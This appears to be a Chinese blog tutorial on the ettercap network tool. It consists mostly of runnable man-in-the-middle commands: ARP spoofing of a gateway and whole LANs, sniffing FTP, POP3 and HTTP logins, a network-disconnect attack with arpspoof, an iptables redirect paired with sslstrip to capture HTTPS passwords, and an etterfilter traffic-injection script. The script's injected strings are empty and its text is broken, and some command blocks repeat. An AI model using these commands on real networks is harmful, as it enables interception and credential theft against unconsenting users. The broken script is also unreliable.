zoukankan      html  css  js  c++  java
  • 无线渗透之ettercap

    无线渗透之ettercap

     ettercap命令查看

    # ettercap -h

    Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]

    TARGET is in the format MAC/IP/PORTs (see the man for further detail)

    Sniffing and Attack options:
    -M, --mitm <METHOD:ARGS> perform a mitm attack
    -o, --only-mitm don't sniff, only perform the mitm attack
    -b, --broadcast sniff packets destined to broadcast
    -B, --bridge <IFACE> use bridged sniff (needs 2 ifaces)
    -p, --nopromisc do not put the iface in promisc mode
    -S, --nosslmitm do not forge SSL certificates
    -u, --unoffensive do not forward packets
    -r, --read <file> read data from pcapfile <file>
    -f, --pcapfilter <string> set the pcap filter <string>
    -R, --reversed use reversed TARGET matching
    -t, --proto <proto> sniff only this proto (default is all)
    --certificate <file> certificate file to use for SSL MiTM
    --private-key <file> private key file to use for SSL MiTM

    User Interface Type:
    -T, --text use text only GUI              (以命令行方式,文本形式显示)
    -q, --quiet do not display packet contents     (不显示数据包内容,但是会显示用户名和密码和其他消息。)
    -s, --script <CMD> issue these commands to the GUI
    -C, --curses use curses GUI
    -D, --daemon daemonize ettercap (no GUI)
    -G, --gtk use GTK+ GUI

    Logging options:
    -w, --write <file> write sniffed data to pcapfile <file>
    -L, --log <logfile> log all the traffic to this <logfile>
    -l, --log-info <logfile> log only passive infos to this <logfile>
    -m, --log-msg <logfile> log all the messages to this <logfile>
    -c, --compress use gzip compression on log files

    Visualization options:
    -d, --dns resolves ip addresses into hostnames
    -V, --visual <format> set the visualization format
    -e, --regex <regex> visualize only packets matching this regex
    -E, --ext-headers print extended header for every pck
    -Q, --superquiet do not display user and password

    General options:
    -i, --iface <iface> use this network interface
    -I, --liface show all the network interfaces
    -Y, --secondary <ifaces> list of secondary network interfaces
    -n, --netmask <netmask> force this <netmask> on iface
    -A, --address <address> force this local <address> on iface
    -P, --plugin <plugin> launch this <plugin>
    -F, --filter <file> load the filter <file> (content filter)
    -z, --silent do not perform the initial ARP scan           (静默方式不执行初始ARP扫描)
    -j, --load-hosts <file> load the hosts list from <file>
    -k, --save-hosts <file> save the hosts list to <file>
    -W, --wifi-key <wkey> use this key to decrypt wifi packets (wep or wpa)
    -a, --config <config> use the alterative config file <config>

    Standard options:
    -v, --version prints the version and exit
    -h, --help

      ettercap渗透测试:

    # ettercap -Tzq
    以命令行方式显示(-T),只嗅探本地数据包(-z),只显示捕捉到的用户名和密码以及其他信息(-q)。

    # ettercap -T -M arp:remote /192.168.1.1// /192.168.1.2-10//
    嗅探网关192.168.1.1与部分主机192.168.1.2-10之间相互通信的数据包。

    # ettercap -Tzq ///110
    只嗅探本机110端口pop3的信息。

    # ettercap -Tzq /192.168.0.11//21,22,23
    只嗅探本机与192.168.0.11主机在端口21、22、23上的通信。

     

    # ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /192.168.0.11/80 //
    在eth0网卡上用自己的filter嗅探ip为192.168.0.11主机在80端口上的所有通信,并把所有的数据包保存成文件名为“sniffed_data”的文件。

    # ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /10.1.1.1/ /10.1.1.2/
    单向欺骗路由,只劫持路由发向10.1.1.2的数据包。

    1.ARP欺骗之会话劫持:

    ettercap -i eth0 -T -M arp:remote /10.0.0.1/ /// 欺骗局域网内所有主机
    ettercap -i eth0 -T -M arp:remote /10.0.0.1/ /10.0.0.12//欺骗IP为10.0.0.12的主机

    ettercap -i eth0 -Tq -M arp:remote /192.168.1.103/ /192.168.1.1/
    主要参数的意义如下:

    -T:文本模式(-G是图形界面)
    -q:安静模式,不用每个包的数据都显示,嗅到密码显示就OK了

    -M:方法,arp:remote(还有一种选择是桥接,这里就不试了)

    //:是代表目标的写法,MAC地址/ip/端口
    # ettercap -Tzq
    以命令行方式显示,只嗅探本地数据包,只显示捕捉到的用户名和密码以及其他信息。

    # ettercap -T -M arp:remote /192.168.1.1/ /192.168.1.2-10/
    嗅探网关192.168.1.1与部分主机192.168.1.2-10之间相互通信的数据包。

    # ettercap -Tzq //110
    只嗅探本机110端口pop3的信息。

    # ettercap -Tzq /192.168.1.11/21,22,23
    只嗅探本机与192.168.1.11主机在端口21、22、23上的通信。

    # ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /192.168.1.11/80 //
    在eth0网卡上用自己的filter嗅探ip为192.168.1.11主机在80端口上的所有通信,并把所有的数据包保存成文件名为“sniffed_data”的文件。

    # ettercap -i eth0 -Tq -L sniffed_data -F filter.ef -M arp:remote /192.168.1.1/ /192.168.1.2/
    单向欺骗路由,只劫持路由发向192.168.1.2的数据包。

    1.ARP欺骗之会话劫持:

    ettercap -i eth0 -T -M arp:remote /192.168.1.1/ // 欺骗局域网内所有主机
    ettercap -i eth0 -T -M arp:remote /192.168.1.1/ /192.168.1.12/ 欺骗IP为192.168.1.12的主机
    同时使用tcpdump抓包(当然也可以使用wireshark实时抓包并显示,但对本机压力比较大,建议使用tcpdump抓包,完成后再用wireshark显示):
    tcpdump -i eth0
    2.编译自建规则 etterfilter -o test.ef test.filter
    3 获取账号
    arpspoof -i 网卡 -t 目标IP 网关 #断网攻击

    HTTP账号密码获取:

    命令:echo 1 > /proc/sys/net/ipv4/ip_forward # 写入 1 表示开启转发功能!

    可以用cat查看修改:

    命令:cat /proc/sys/net/ipv4/ip_forward # 显示1表示成功开启转发功能,0表示未开启

    命令:arpspoof -i 网卡 -t 目标IP 网关 #开启欺骗

    用ettercap抓取登入帐号,密码:

    命令:ettercap -Tq -i 网关 # T表示文本模式,q表示安静模式


    HTTPS账号密码获取:
    先编辑下/etc/ettercap/etter.conf
    命令:vim /etc/ettercap/etter.conf
    找到
    # if you use iptables:
    #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
    #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

    改为(去掉两个#):
    # if you use iptables:
    redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
    redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"


    运行sslstrip -a -f -k 实现https转换成http以获取帐号密码

    如果图形界面,可以用这个试试:driftnet -i wlan0
    etter.filter.alert
    脚本:
    if (ip.proto == TCP && tcp.dst == 80) {
    if (search(DATA.data, "Accept-Encoding")) {
    replace("Accept-Encoding", "Accept-Rubbish!");
    msg("zapped Accept-Encoding! ");
    }
    }
    if (ip.proto == TCP && tcp.src == 80) {
    if (search(DATA.data, "")) {
    replace("",""); replace("",""); msg("injected ok! "); } }

  • 相关阅读:
    Glide优化
    Java多线程知识点
    Android知识点
    Gradle的一些技巧和遇到的问题
    Python用Django写restful api接口
    Python写爬虫爬妹子
    用最简单的例子说明设计模式(三)之责任链、建造者、适配器、代理模式、享元模式
    【Python】扫描指定文件夹下特定后缀的文件
    【Python】生成多级树结构的xml文件
    【转】【Linux】安装pyinstaller
  • 原文地址:https://www.cnblogs.com/little-kwy/p/9910616.html
Copyright © 2011-2022 走看看